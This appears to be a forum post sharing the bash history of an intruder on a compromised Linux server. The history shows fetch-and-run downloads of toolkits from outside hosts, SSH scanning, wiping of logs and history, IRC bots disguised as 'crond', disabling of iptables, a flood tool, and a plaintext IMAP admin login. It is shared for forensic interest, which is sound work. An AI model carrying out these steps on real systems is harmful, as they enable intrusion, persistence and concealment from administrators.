One of my friend's Linux server's was hacked a day ago. He passed the bash history on to me. Some will find it boring, others might find it interesting as I did. There's one interesting thing to note though; the bash history was rm'd yet it still exists??? The last few lines is my friend performing forensics.
w
cd tmp
cd /tmp
wget www.ei-gei.go.ro/bk.tar.gz
tar zxvf bk.tar.gz
rm -rf bk.tar.gz
cd bk
./install
w
cd /home
ls
cd /dev/shm
ls
wget www.ei-gei.go.ro/scan.tar
tar zxvf scan.tar
rm -rf scan.tar
cd ssh
rm -rf bios.txt uniq.txt vuln.txt
./ss 22 -a 204 -s 10
killall -9 ss
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
exit
uptime
cat /etc/hosts
passwd
wget
tar
wget
cd /tmp
wget ww.ei-gei.go.ro/php.tgz
wget ww.ei-gei.go.ro/php.tgzls
ls -a
rm -rf no_user.phtml
wget www.asterix-obelix.net/php.tgz
tar -zxvf php.tgz
rm -rf php.tgz
cd ssh
./ss 22 -a 192 -s 10
./ss 22 -a 192 -s 10
cd /tmp
cd ssh
rm -rf *.txt
/ss 22 -a 192 -s 10
./ss 22 -a 192 -s 10
cd ..
cd var/log
ls
rm -rf lastlog
uptime
ps -ax
kil -9 1652 1653
kill -9 1652 1653
ps -ax
cd ..
cd lib
ls
mkdir .isso
c .isso
cd .isso
ls
cat /proc/cpuinfo
cat /etc/hosts
cat /etc/issue
cat /etc/issue
ls
wget www.asterix-obelix.net/mech.tgz
tar -zxvf mech.tgz
ls -a
rm -rf mech.tgz .a
wget www.asterix-obelix.net/mech.tgz
tar -zxvf mech.tgz
ls
rm -rf mech.tgz .a
ls
ls -a
cd/tmp
cd /vat/lib/.isso
cd ...
cd ..
cd var/lib
cd .isso
wget www.asterix-obelix.net/mech.tgz
cd ..
cd var/log
ls -a
cd /tmp/ssh
ls
./ss 22 -a 192 -s 10
./ss 22 -a 192 -s 10
cd ..
cd var/lib
cd .isso
ls
tar -zxvf mech.tgz
cd .a
ls
mv mech crond
export PATH="."
crond
crond
crond
cd ..
cd lib
ls -a
ps -ax
kill -9 9525 9526 9527 9528 9529 9530 9531
ps -ax
mkdir .isso
cd .isso
wget www.asterix-obelix.net/mech.tgz
tar -zxvf mech.tgz
rm -rf mech.tgz
cd .a
ls
mv mech crond
export PATH="."
crond
crond
service iptables start
cat /etc/hosts
ls
service iptables stop
cd ..
ps -ax
kill -9 5890
cd var/lib/isso
ls
ls -a
cd .a
ls
service iptables stop
export PATH="."
crond
ls
ps -ax
service iptables start
service iptables start
service iptables start
service iptables stop
service iptables start
cd ..
cd var/log
ls -a
cd ..
cd lib/isso
ls
ls -a
cd .a
ps -ax
cd ..
rm -rf .a
wget www.musketari.com/psybnc.tgz
tar -zxvf psybnc.tgz
rm -rf psybnc.tgz
cd psybnc
ls
mv psybnc crond
ls
service iptables
service iptables stop
export PATH="."
crond
cat /etc/hosts
vhost
ls
ps -ax
kill -9 6430
ls
cd flood
ls
./pingflood
cd ..
ls
cd scripts
ls
cd ..
cd ..
cd var/lib/isso
l
sls
ls
rm -rf psybnc
wget www.musketari.com/psybnc.tgz
tar -zxvf psybnc.tgz
rm -rf psybnc.tgz
cd psybnc
ls
mv psybnc crond
service iptables stop
export PATH="."
crond
cd ..
cd var/lib
ls
cd /lib
rm -rf .isso
cd /var/lib
ls -a
rm -rf .isso
cat /etc/issue
cat /etc/hosts
vhost
ls
ps -ax
kill -9 1900
mkdir isso
cd isso
wget www.musketari.com/psybnc.tgz
tar -zxvf psybnc.tgz
cd psybnc.tgz
cd psybnc
ls
mv psybnc crond
ls
export PATH="."
crond
ps -ax
service iptables stop
ls
cd ..
cd var/log/isso
ccd var/lib/isso
cd var/lib/isso
ls
ps -ax
rm -rf 5890
ls
rm -rf psybnc psybnc.tgz
wget www.asterix-obelix.net/mech/tgz
wget www.asterix-obelix.net/mech.tgz
tar -zxvf mech.tgz
mr -rf mech.tgz
rm -rf .a
tar -zxvf mech.tgz
rm -rf mech.tgz
cd .a
ls
mv mech crond
export PATH="."
crond
cd ..
service iptables stop
cd ..
cd var/lib/isso
cd psybnc
ls
export PATH="."
crond
cat /etc/hosts
mysql intranet
mysql intranet_users
telnet localhost 143
telnet localhost 143
mysql intranet_users
mysql intranet_users
su admin
whois
whois -p
whois -v
users
ls
cd ..
ls
usr
cd usr/
ls
cd bin/
ls
cd ..
ls
cd man
ls
cd ..
cd local/
ls
exit
telnet localhost 143
a9 LOGIN admin MaGibd4A
telnet localhost 143
telnet localhost 143
ifconfig
route -n
cd /opt/applications/
ls
cd intranet
ls
cd main
wget http://www.realvnc.com/dist/vnc-4.0-x86_win32.exe
mv vnc-4.0-x86_win32.exe vnc.exe
vi a.html
rm a.html
exit
mc
cat .bash_history
lesst .bash_history
less .bash_history
mc
df -h
dmesg
ifconfig
netstat
How was the box compromised?!?!? root password password





